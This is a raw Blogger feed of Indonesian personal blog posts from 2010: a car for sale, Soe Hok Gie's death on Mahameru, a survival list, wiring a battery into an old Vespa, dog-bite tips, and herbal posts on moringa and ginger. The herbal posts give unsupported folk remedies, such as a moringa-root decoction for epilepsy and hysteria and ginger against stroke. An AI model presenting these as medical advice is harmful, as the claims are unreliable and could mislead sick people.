&lt;span class="fullpost"&gt;  SMS GRATIS     &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe name="I2" src="http://sms-online.web.id/widget" height="350" width="270"&gt; not support&amp;amp;amp;amp;lt;br&amp;amp;amp;amp;gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-5126503270395359568?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5126503270395359568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5126503270395359568'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/kirim-sms-gratis.html' title='KIRIM SMS GRATIS'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2426164011836228754</id><published>2010-10-15T14:09:00.001+07:00</published><updated>2010-11-03T18:06:02.380+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jual beli'/><title type='text'>di jual DAIHATSU HIJET 1000 th 86</title><content type='html'>&lt;span class="fullpost"&gt;  warna abu abu, radio tape mp3,velg setandar, suspensi emfuk kaya luna maya.....rem pakem kaya rem sepur, ban depan baru, ban belakang habis, interior oke kabin tidak berkarat, berhadiah dongkrak dan kunci roda....alarm polisi....    [spoiler=hijet]&lt;/span&gt;&lt;a href="http://s911.photobucket.com/albums/ac318/edisudarto/?action=view&amp;current=S6300810.jpg" target="_blank"&gt;&lt;img src="http://i911.photobucket.com/albums/ac318/edisudarto/S6300810.jpg" border="0" alt="Photobucket"&gt;&lt;/a&gt;[/spoiler]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2426164011836228754?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2426164011836228754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2426164011836228754'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/10/di-jual-daihatsu-hijet-1000-th-86.html' title='di jual DAIHATSU HIJET 1000 th 86'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-579672383484275988</id><published>2010-09-22T01:11:00.000+07:00</published><updated>2010-09-22T01:11:53.669+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[JEPE] Jejak Petualang'/><title type='text'>Antara Soe Hok Gie dan Puncak Mahameru</title><content type='html'>Apa hubungan antara Soe Hok Gie dan Puncak Mahameru?&lt;br /&gt;Dan apa yang berkaitan antara keduanya?&lt;br /&gt;Soe Hok Gie dan Mahameru adalah dua legenda Indonesia, sedangkan hubungan antara keduanya?&lt;br /&gt;Soe Hok Gie wafat di Mahameru saat melakukan pendakian pada 18 Desember 1969 karena menghirup asap beracun gunung tersebut&lt;br /&gt;&lt;br /&gt;Pada 16 Desember 1969, Gie bersama Mapala UI berencana melakukan misi pendakian ke Gunung Mahameru (Semeru) yang mempunyai ketinggian 3.676m. Banyak sekali rekan-rekannya yang menanyakan kenapa ingin melakukan misi tersebut. Gie pun menjelaskan kepada rekan-rekannya tesebut :&lt;br /&gt;&lt;br /&gt;“Kami jelaskan apa sebenarnya tujuan kami. Kami katakan bahwa kami adalah manusia-manusia yang tidak percaya pada slogan. Patriotisme tidak mungkin tumbuh dari hipokrisi dan slogan-slogan. Seseorang hanya dapat mencintai sesuatu secara sehat kalau ia mengenal obyeknya. Dan mencintai tanah air Indonesia dapat ditumbuhkan dengan mengenal Indonesia bersama rakyatnya dari dekat. Pertumbuhan jiwa yang sehat dari pemuda harus berarti pula pertumbuhan fisik yang sehat. Karena itulah kami naik gunung.”&lt;br /&gt;&lt;br /&gt;Sebelum berangkat, Gie sepertinya mempunyai firasat tentang dirinya dan karena itu dia menuliskan catatannya :&lt;br /&gt;&lt;br /&gt;“Saya tak tahu apa yang terjadi dengan diri saya. Setelah saya mendengar kematian Kian Fong dari Arief hari Minggu yang lalu. Saya juga punya perasaan untuk selalu ingat pada kematian. Saya ingin mengobrol-ngobrol pamit sebelum ke semeru. Dengan Maria, Rina dan juga ingin membuat acara yang intim dengan Sunarti. Saya kira ini adalah pengaruh atas kematian Kian Fong yang begitu aneh dan begitu cepat.”&lt;br /&gt;&lt;br /&gt;Dari beberapa catatan kecil serta dokumentasi yang ada, termasuk buku harian Gie yang sudah diterbitkan :&lt;br /&gt;&lt;br /&gt;Suasana sore hari bergerimis hujan dan kabut tebal, tanggal 16 Desember 1969 di G. Semeru. Seusai berdoa dan menyaksikan letupan Kawah Jonggringseloko di Puncak Mahameru (puncaknya G. Semeru) serta semburan uap hitam yang mengembus membentuk tiang awan, beberapa anggota tim terseok-seok gontai menuruni dataran terbuka penuh pasir bebatuan, mereka menutup hidung, mencegah bau belerang yang makin menusuk hidung dan paru-paru. Di depan kelihatan Gie sedang termenung dengan gaya khasnya, duduk dengan lutut kaki terlipat ke dada dan tangan menopang dagu, di tubir kecil sungai kering. Tides dan Wiwiek turun duluan.&lt;br /&gt;Dengan tertawa kecil, Gie menitipkan batu dan daun cemara. Katanya, “Simpan dan berikan kepada kepada ‘kawan-kawan’ batu berasal dari tanah tertinggi di Jawa. Juga hadiahkan daun cemara dari puncak gunung tertinggi di Jawa ini pada cewek-cewek FSUI.” Begitu kira-kira kata-kata terakhirnya, sebelum turun ke perkemahan darurat dekat batas hutan pinus atau situs recopodo (arca purbakala kecil sekitar 400-an meter di bawah Puncak Mahameru).&lt;br /&gt;Di perkemahan darurat yang cuma beratapkan dua lembar ponco (jas hujan tentara), bersama Tides, Wiwiek dan Maman, mereka menunggu datangnya Herman, Freddy, Gie, dan Idhan. Hari makin sore, hujan mulai tipis dan lamat-lamat kelihatan beberapa puncak gunung lainnya. Namun secara berkala, letupan di Jonggringseloko tetap terdengar jelas.&lt;br /&gt;Menjelang senja, tiba-tiba batu kecil berguguran. Freddy muncul sambil memerosotkan tubuhnya yang jangkung. “Gie dan Idhan kecelakaan!” katanya. Tak jelas apakah waktu itu Freddy bilang soal terkena uap racun, atau patah tulang. Mulai panik, mereka berjalan tertatih-tatih ke arah puncak sambil meneriakkan nama Herman, Gie, dan Idhan berkali-kali.&lt;br /&gt;Beberapa saat kemudian, Herman datang sambil mengempaskan diri ke tenda darurat. Dia melapor kepada Tides, kalau Gie dan Idhan sudah meninggal! Kami semua bingung, tak tahu harus berbuat apa, kecuali berharap semoga laporan Herman itu ngaco. Tides sebagai anggota tertua, segera mengatur rencana penyelamatan.&lt;br /&gt;Menjelang maghrib, Tides bersama Wiwiek segera turun gunung, menuju perkemahan pusat di tepian (danau) Ranu Pane, setelah membekali diri dengan dua bungkus mi kering, dua kerat coklat, sepotong kue kacang hijau, dan satu wadah air minum. Tides meminta beberapa rekannya untuk menjaga kesehatan Maman yang masih shock, karena tergelincir dan jatuh berguling ke jurang kecil.&lt;br /&gt;“Cek lagi keadaan Gie dan Idhan yang sebenarnya,” begitu ucap Tides sambil pamit di sore hari yang mulai gelap. Selanjutnya, mereka berempat tidur sekenanya, sambil menahan rembesan udara berhawa dingin, serta tamparan angin yang nyaris membekukan sendi tulang.&lt;br /&gt;Baru keesokan paginya, 17 Desember 1969, mereka yakin kalau Gie dan Idhan sungguh sudah tiada, di tanah tertinggi di Pulau Jawa. Mereka jumpai jasad keduanya sudah kaku. Semalam suntuk mereka lelap berkasur pasir dan batu kecil G. Semeru. Badannya yang dingin, sudah semalaman rebah berselimut kabut malam dan halimun pagi. Mata Gie dan Idhan terkatup kencang serapat katupan bibir birunya. Mereka semua diam dan sedih.&lt;br /&gt;&lt;br /&gt;Soe Hok Gie telah menjadi salah satu Dewa yang memuncaki Mahameru, Puncak Abadi Para Dewa.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-579672383484275988?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/579672383484275988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/579672383484275988'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/09/antara-soe-hok-gie-dan-puncak-mahameru.html' title='Antara Soe Hok Gie dan Puncak Mahameru'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-5616345609852677153</id><published>2010-09-22T00:59:00.001+07:00</published><updated>2010-11-03T18:04:57.876+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='survival'/><title type='text'>survival</title><content type='html'>Ini adalah daftar hal-hal yang paling penting untuk diingat jika Anda terdampar. Daftar berasal dari Yan Martel yang memenangkan hadiah-novel Life of Pi.&lt;br /&gt;&lt;br /&gt;1. Selalu membaca petunjuk dengan hati-hati&lt;br /&gt;&lt;br /&gt;2. Jangan minum air kencing. Atau air laut. Burung atau darah&lt;br /&gt;&lt;br /&gt;3. Jangan makan ubur-ubur. Atau ikan yang berduri. Atau ikan yang seperti paruh burung beo. Dari yang menggembung seperti balon.&lt;br /&gt;&lt;br /&gt;4. Menekan mata ikan akan melumpuhkan mereka&lt;br /&gt;&lt;br /&gt;5. Tubuh bisa menjadi heroik dalam pertempuran; jika terluka, berhati-hatilah jika bermaksud baik, lakukan perawatan yang tepat. Kebodohan adalah dokter yang terburuk, sementara istirahat dan tidur adalah yang terbaik perawat.&lt;br /&gt;&lt;br /&gt;6. Angkat kaki anda ke atas setidaknya 5 menit dalam 1 jam&lt;br /&gt;&lt;br /&gt;7. Mengerahkan tenaga untuk yang tidak perlu harus dihindari. Pikiran yang aneh akan memikirkan hal yang sia-sia yang dapat mengganggu pemilik pikiran itu. Permainan seperti kartu bermain, tanya-jawab, akan menjadi selingan yang baik.&lt;br /&gt;&lt;br /&gt;8. Air berwarna hijau lebih dangkal daripada air berwarna biru&lt;br /&gt;&lt;br /&gt;9. Waspadalah terhadap awan dari kejauhan yang tampak seperti gunung. Carilah daerah yang hijau. Pada akhirnya, tanah adalah tempat yang terbaik untuk kaki.&lt;br /&gt;&lt;br /&gt;10. Jangan pergi berenang. Itu akan membuang energi. Selain itu, kapal penyelamat dapat bergerak lebih cepat dari kecepatan anda berenang. Belum lagi bahaya kehidupan laut. Jika Anda kepanasan, basahkan pakaian Anda.&lt;br /&gt;&lt;br /&gt;11. Jangan buang air kecil di pakaian Anda. Kehangatan sesaat tidak sebanding dengan ruam popok.&lt;br /&gt;&lt;br /&gt;12. Lindungi dirimu sendiri. Eksposur dapat membunuh lebih cepat daripada kehausan atau kelaparan.&lt;br /&gt;&lt;br /&gt;13. Selama tidak ada air berlebihan hilang melalui keringat, tubuh dapat bertahan hingga 14 hari tanpa air. Jika Anda haus, hisaplah jari anda.&lt;br /&gt;&lt;br /&gt;14. Kura-kura adalah makanan yang mudah ditangkap dan makanan yang sangatbaik. Darah mereka bagus, bergizi, minuman bebas garam; daging mereka lezat dan berisi; lemak mereka memiliki banyak kegunaan, dan kita akan menemukan telur penyu. Hati-hati terhadap paruh dan cakarnya.&lt;br /&gt;&lt;br /&gt;15. Jangan biarkan semangat Anda hancur. Menjadi gentar tetapi tidak dikalahkan. Ingat: jiwa, di atas segalanya, ingatlah. Jika Anda memiliki kemauan untuk hidup, Anda akan hidup. Semoga beruntung!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-5616345609852677153?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='' href='http://www.kaskus.us/showthread.php?t=2702032' length='0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5616345609852677153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5616345609852677153'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/09/ini-adalah-daftar-hal-hal-yang-paling.html' title='survival'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1201023488157955422</id><published>2010-02-18T01:11:00.001+07:00</published><updated>2010-11-16T08:14:47.079+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vespa sepanjang masa'/><title type='text'>pasang accu di vespa lama</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHa8KoydGI/AAAAAAAAARI/6-kRIiOLeNg/s1600/18045_103983349619708_1000002412955.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHa8KoydGI/AAAAAAAAARI/6-kRIiOLeNg/s1600/18045_103983349619708_1000002412955.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Vespa keluaran baru, generasi PX keatas, rata-rata telah disertai Accu. Dengan Accu yang telah terpasang memungkinkan Vespa generasi belakangan, untuk lampu sein – klakson tidak lagi memakai listrik dari mesin. Karenanya listrik yang dikeluarkan mesin menjadi stabil hanya untuk Coil/Busi dan lampu belakang dan lampu depan. &lt;br /&gt;&lt;br /&gt;Sejalan dengan perkembangan fungsi kendaraan vespa, yang tidak hanya untuk keperluan hari-hari, maka tuntutan vespa generasi lama mempergunakan Accu sebagai penyimpan listrik juga banyak dikenakan. Pertanyaannya (1). Apakah Vespa keluaran lama juga bisa dipasang Accu ? Jawabannya tentu saja pasti bisa. (2), Bagaimana cara memasangnya, (3). Seberapa besar pemanfaatan Accu tersebut untuk mendukung kenyamanan berkendara dengan Vespa.&lt;br /&gt;&lt;br /&gt;Hal yang perlu disediakan sebelum memasang Accu&lt;br /&gt;Accu 12 Volt 10 Ampere (standard PX Ekslusive /  Excel)  merk apa saja, bisa GS, King, Yuasa, NS dll. yang beredar di pasar umumnya merk Yuasa dan GS.&lt;br /&gt;Regulator empat (4) kaki. Merk regulator ini banyak di pasaran, yang standar vespa merk Ducati. Jika tidak mendapati merk itu bisa juga merk lain.  Kisaran harga yang beredar di pasaran antara 25.000  s/d 125.000.  Saran yang hendakmembeli, jangan mempergunakan yang berharga di bawah Rp 50.000 (tahun 2006/2007) sebab biasanya kualitasnya rendah.&lt;br /&gt;Dudukkan Accu + karet pengikatnya&lt;br /&gt;Dudukan Saklar accu (sudah siap pakai, tinggal beli di toko)&lt;br /&gt;Jika diperlukan Elco 4000 micro farad. Elco yang bagus buatan Meksiko.&lt;br /&gt;&lt;br /&gt;Setelah Accu dan regulator tersedia bagaimana memasangkannya (menginstalasi) di Vespa kita.&lt;br /&gt;Sebelum memasang  Regulator ada hal yang perlu diperhatikan tentang mengenal listrik yang dihasilkan dari dapur mesin (Spul).  Listrik yang dihasilkan Spul antara vespa generasi satu dengan yang lain umumnya sama, biasanya ada 3-4 kabel, yakni  untuk Lampu depan (warna kuning), Coil/Busi (warna hijau), body/massa (warna hitam)  dan satu lagi (merah muda/biru)  untuk lampu belakang. Untuk generasi sprint ke bawah untuk lampu depan dan belakang digabung jadi satu.&lt;br /&gt;Ketika mau memasang Regulator, jangan lupa mengangkat tangki. ini diperlukan agar kita mengenali alur listriknya. Selain itu akan sedikit merubah kabel per-listrikan yang ada di bawah tangki dan akan mengebor untuk tempat dudukan accu.&lt;br /&gt;&lt;br /&gt;Setelah mengenali listrik dan warna-warna  kabelnya, selanjutnya kita memasang accu dan regulator, langkah-langkahnya sebagai berikut :&lt;br /&gt;Buka boks bodi samping kiri &lt;br /&gt;Angkat tangki bensin.&lt;br /&gt;Setelah bok kiri dicopot, Bor untuk dudukan accu. Pasang dudukan tersebut sesuai selera kita, artinya mau sebelah kanan atau kiri kunci boks. Jangan terlalu tengah pas kunci boks.&lt;br /&gt;Bor juga untuk dudukan regulator. Usahakan berdampingan dengan accu. Jika accu sebelah kanan, maka regulator sebelah kiri, atau sebaliknya&lt;br /&gt;Pasang Accu di dudukannya. posisi – accu tempelkan ke bodi vespa. kabel saklar accu pasang di + nya accu dan sambungkan ke regulator.&lt;br /&gt;Pasang Regulator di yang ada kaki/socketnya  menghadap ke bawah.&lt;br /&gt;Potong kabel bodi warna kuning dari dari arah spul (dibawah tangki ada sambungan) dan sambungkan ke kaki regulator posisi ke-2 dari kiri. Dan sambungkan setrum dari kaki ke-1 regulator ke kabel bodi sambungan yg tadi dipotong ( ke lampu depan)&lt;br /&gt;Sambungkan kabel + accu yang telah memakai saklar ke kaki ke-3 regulator&lt;br /&gt;Sambungkan kabel dari kaki ke-4 regulator (ujung paling kanan) ke body/massa&lt;br /&gt;&lt;br /&gt;Kini accu dan Regulator telah terpasang dan siap dipakai. Jangan lupa jaringan listrik accu jangan digabung sama jaringan setrum mesin. Mesti terpisah.&lt;br /&gt;&lt;br /&gt;Jika kita ingin mengoptimalkan accu, misalnya untuk keperluan tape, TV, lampu hias depan, klakson mobil, dll.  maka pakailah accu yang ampere-nya lebih besar. misal yang 20 atau 26 ampere (accu jetski)&lt;br /&gt;&lt;br /&gt;Jika pengisian ingin lebih optimal, pakailah Elco yang mempunyai kapasitas minimal 400 mf 2 buah. Cara pasangnya paralel-kan + dan – Elco. yang – sambungkan ke body/massa dan yang + sambungkan ke + accu ( gabung dengan yang keluar dari regulator) &lt;br /&gt;&lt;br /&gt;Selamat Mencoba&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1201023488157955422?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1201023488157955422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1201023488157955422'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/pasang-accu-di-vespa-lama.html' title='pasang accu di vespa lama'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lcn1O_24jBE/TOHa8KoydGI/AAAAAAAAARI/6-kRIiOLeNg/s72-c/18045_103983349619708_1000002412955.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8442043046825820493</id><published>2010-02-17T19:42:00.000+07:00</published><updated>2010-02-17T19:42:48.893+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips dan trik'/><title type='text'>tips dan trik mendekati anjing</title><content type='html'>Menurut tinjauan kasus gigitan anjing, 75% korban sudah akrab dengan anjing yang menyerangnya. Sisanya 25% korban tinggal se-lingkungan dengan pemilik anjing. Untuk menghindari resiko gigitan anjing, penting sekali mengetahui cara berinteraksi dengannya. &lt;br /&gt;Berikut tips dan triknya : &lt;br /&gt;Seekor anjing yang sedang tidur, makan, atau merawat anak tidak boleh diganggu. Sangat mudah untuk mengejutkan mereka dan berpikir bahwa mereka sedang diserang, sehingga memicunya untuk menggigit Anda.&lt;br /&gt;Biarkan anjing membiasakan diri dengan Anda dengan cara membiarkannya mengendus Anda. Dengan cara ini anjing akan merasa nyaman dengan Anda pada saat didekati.&lt;br /&gt;Selalu meminta izin dari pemilik sebelum mencoba menyentuh anjingnya. Pemilik akan memberi petunjuk kepada Anda mengenai karakter anjingnya.&lt;br /&gt;Jangan pernah menggoda atau mendekati anjing yang sedang dirantai atau di balik pagar. Suatu saat binatang itu dilepas, ia akan menyerang.&lt;br /&gt;Melarikan diri dan berteriak dari kejaran anjing hanya akan menyebabkannya lebih bersemangat mengejar Anda. Sebaliknya, adalah penting untuk berhenti dan tetap berdiri, menjaga lengan di sisi anda. Mundur perlahan-lahan menghadapi nya, tetapi tidak menatapnya langsung.&lt;br /&gt;Jika Anda diserang oleh seekor anjing, berusaha lah untuk menempatkan sesuatu di antara diri Anda dan hewan itu, berupa jaket, ransel, tas, atau sepeda.&lt;br /&gt;Semoga Bermanfaat&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8442043046825820493?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8442043046825820493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8442043046825820493'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/tips-dan-trik-mendekati-anjing.html' title='tips dan trik mendekati anjing'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8874032143808783041</id><published>2010-02-16T20:29:00.001+07:00</published><updated>2010-02-16T20:29:01.855+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat daun kelor</title><content type='html'>Dunia tak selebar daun kelor, seringkali kita mendengar pepatah yang satu ini. Maksudnya adalah bahwa dunia ini amatlah sempit, bahkan tak cukup lebih besar daripada daun kelor yang luasnya kira-kira hanya seluas kuku orang dewasa saja. Daun kelor memanglah kecil, namun dalam satu tangkai biasanya daunnya berkelompok dan terlihat rimbun. Daun ini sudah lama dikenal nenek moyang kita. Orang Madura menyebutnya sebagai Maronggih, Di daerah Sunda dan Melayu ia disebut kelor, di Aceh ia disebut murong, orang Ternate mengenalnya sebagai kelo, di Sumba ia disebut kawona, sedangkan di ranah Minang ia dikenal dengan nama munggai.&lt;br /&gt;&lt;br /&gt;Tumbuhan kelor ini berasa agak pahit, bersifat netral dan tentu saja tak beracun. Kulit akarnya mengandung minyak terbang. Biji tumbuhan kelor mengandung minyak ‘behen’, dan terdapat myrosine, emulsine,alkaloida pahit tak beracun, serta vitamin A,B1,B2 dan C pada sel-sel tertentu. Efek farmakologis yang dimiliki oleh kelor adalah anti-inflamasi, anti-piretik dan antiskorbut.&lt;br /&gt;&lt;br /&gt;Daun Kelor pada umumnya dimanfaatkan sebagai sayuran. Di daerah asal saya Madura, ia biasa digunakan sebagai sayur berkuah sebagai teman makan siang. Saya suka sekali makan ditemani sayur yang saya kenal dengan nama Ghangan Maronggih (Sayur Kelor) ini, sebab selalu membangkitkan memori masa kecil dan tanah kelahiran saya. Namun Selain dimanfaatkan untuk sayuran, akar, daun serta bijinya juga dapat dimanfaatkan untuk mengobati beberapa penyakit.&lt;br /&gt;&lt;br /&gt;1. Kurap (herpes) dan luka bernanah&lt;br /&gt;&lt;br /&gt;Tumbuklah daun kelor dengan kapur, lalu balurkan hasil tumbukan tadi pada luka/kurap.&lt;br /&gt;&lt;br /&gt;2. Kurang nafsu makan, epilepsi, histeri, sariawan, sulit buang air kecil, badan lemah, sakit kuning, rematik serta pegal linu.&lt;br /&gt;&lt;br /&gt;Rebus akar kelor sebanyak 1 jari dengan 2 gelas air sampai tersisa 1 gelas, lalu saring. Minum air rebusan dua kali sehari masing-masing ½ gelas.&lt;br /&gt;&lt;br /&gt;3. Beri-beri dan udim&lt;br /&gt;&lt;br /&gt;Giling akar kelor, akar pepaya, dan kulit lawang atau cengkih masing-masing 1 jari. Tambahkan air, peras, dan saring. Bagi air saringan menjadi 2 bagian yang sama. Minum air hasil saringan sebanyak 2 kali sehari.&lt;br /&gt;&lt;br /&gt;4. Biduran dan alergi&lt;br /&gt;&lt;br /&gt;Rebus 3 tangkai daun kelor, 1 siung bawang merah, serta adas dan pulasari secukupnya dalam 3 gelas air sampai tersisa 2 gelas. Saring lalu minm air rebusan dua kali sehari masing-masing satu gelas.&lt;br /&gt;&lt;br /&gt;5. Rabun ayam&lt;br /&gt;&lt;br /&gt;Tumbuk 3 tangkai daun kelor sampai halus, lalu seduh dengan 1 cangkir air masak dan saring. Tambahkan madu secukupnya pada air hasil saringan tadi, lalu adu k sampai merata. Minum sebelum tidur.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8874032143808783041?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8874032143808783041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8874032143808783041'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/manfaat-daun-kelor.html' title='manfaat daun kelor'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-418345601881705936</id><published>2010-02-16T20:24:00.000+07:00</published><updated>2010-02-16T20:24:04.302+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>Manfaat Jahe</title><content type='html'>Manfaat Jahe &lt;br /&gt;&lt;br /&gt;Di balik rasanya yang pedas, jahe mengandung zat-zat yang berguna bagi &lt;br /&gt;tubuh manusia. Tak heran bila sejak lama dikenal ada wedang (minuman) jahe, &lt;br /&gt;permen jahe, atau bandrek (minuman yang mengandung jahe). Jahe juga banyak &lt;br /&gt;digunakan sebagai bumbu untuk berbagai jenis masakan atau kue. &lt;br /&gt;Manfaat jahe, berdasar sejumlah penelitian, antara lain: &lt;br /&gt;&lt;br /&gt;   Merangsang pelepasan hormon adrenalin, memperlebar pembuluh darah, &lt;br /&gt;   sehingga darah mengalir lebih cepat dan lancar. Tubuh pun menjadi lebih &lt;br /&gt;   hangat, kerja jantung memompa darah lebih ringan. Akibatnya, tekanan &lt;br /&gt;   darah menjadi turun. &lt;br /&gt;&lt;br /&gt;   Jahe mengandung dua enzim pencernaan yang penting. Pertama, protease &lt;br /&gt;   yang berfungsi memecah protein. Kedua, lipase yang berfungsi memecah &lt;br /&gt;   lemak. Kedua enzim ini membantu tubuh mencerna dan menyerap makanan. &lt;br /&gt;&lt;br /&gt;   Jahe sekurangnya mengandung 19 komponen bio-aktif yang berguna bagi &lt;br /&gt;   tubuh. Komponen yang paling utama adalah gingerol yang bersifat &lt;br /&gt;   antikoagulan, yaitu mencegah penggumpalan darah. Jadi mencegah &lt;br /&gt;   tersumbatnya pembuluh darah, penyebab utama stroke, dan serangan jantung. &lt;br /&gt;   Gingerol diperkirakan juga membantu menurunkan kadar kolesterol. &lt;br /&gt;&lt;br /&gt;   Memblok serotonin, yaitu senyawa kimia pembawa pesan. Senyawa ini &lt;br /&gt;   menyebabkan perut berkontraksi, sehigga timbul rasa mual. Misalnya pada &lt;br /&gt;   orang yang mengalami mabuk perjalanan. &lt;br /&gt;   Jadi, untuk mencegah mabuk perjalanan, ada baiknya minum wedang jahe &lt;br /&gt;   sebelum bepergian. Caranya: pukul-pukul jahe segar sepanjang 1 ruas &lt;br /&gt;   jari, &lt;br /&gt;   masukkan dalam satu gelas air panas. Beri madu secukupnya, lalu minum. &lt;br /&gt;   Bisa juga menggunakan sepertiga sendok teh jahe bubuk, atau kalau tahan, &lt;br /&gt;   makan dua kerat jahe mentah. &lt;br /&gt;&lt;br /&gt;   Membuat lambung menjadi nyaman, dan membantu  mengeluarkan angin. Bisa &lt;br /&gt;   meringankan kram perut saat menstruasi atau kram akibat terlalu banyak &lt;br /&gt;   mengkonsumsi makanan berlemak. &lt;br /&gt;&lt;br /&gt;   Membantu tubuh melawan pilek dan flu. Jahe mengandung antioksidan yang &lt;br /&gt;   membantu menetralkan efek merusak yang disebabkan oleh radikal bebas di &lt;br /&gt;   dalam tubuh. &lt;br /&gt;&lt;br /&gt;   Jahe merupakan pereda rasa sakit yang alami dan dapat meredakan nyeri &lt;br /&gt;   rematik, sakit kepala, dan migren. Caranya, minum wedang jahe 3 kali &lt;br /&gt;   sehari. Bisa juga minum wedang ronde, mengulum permen jahe, atau &lt;br /&gt;   menambahkan jahe saat Anda membuat soto, semur, atau rendang.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 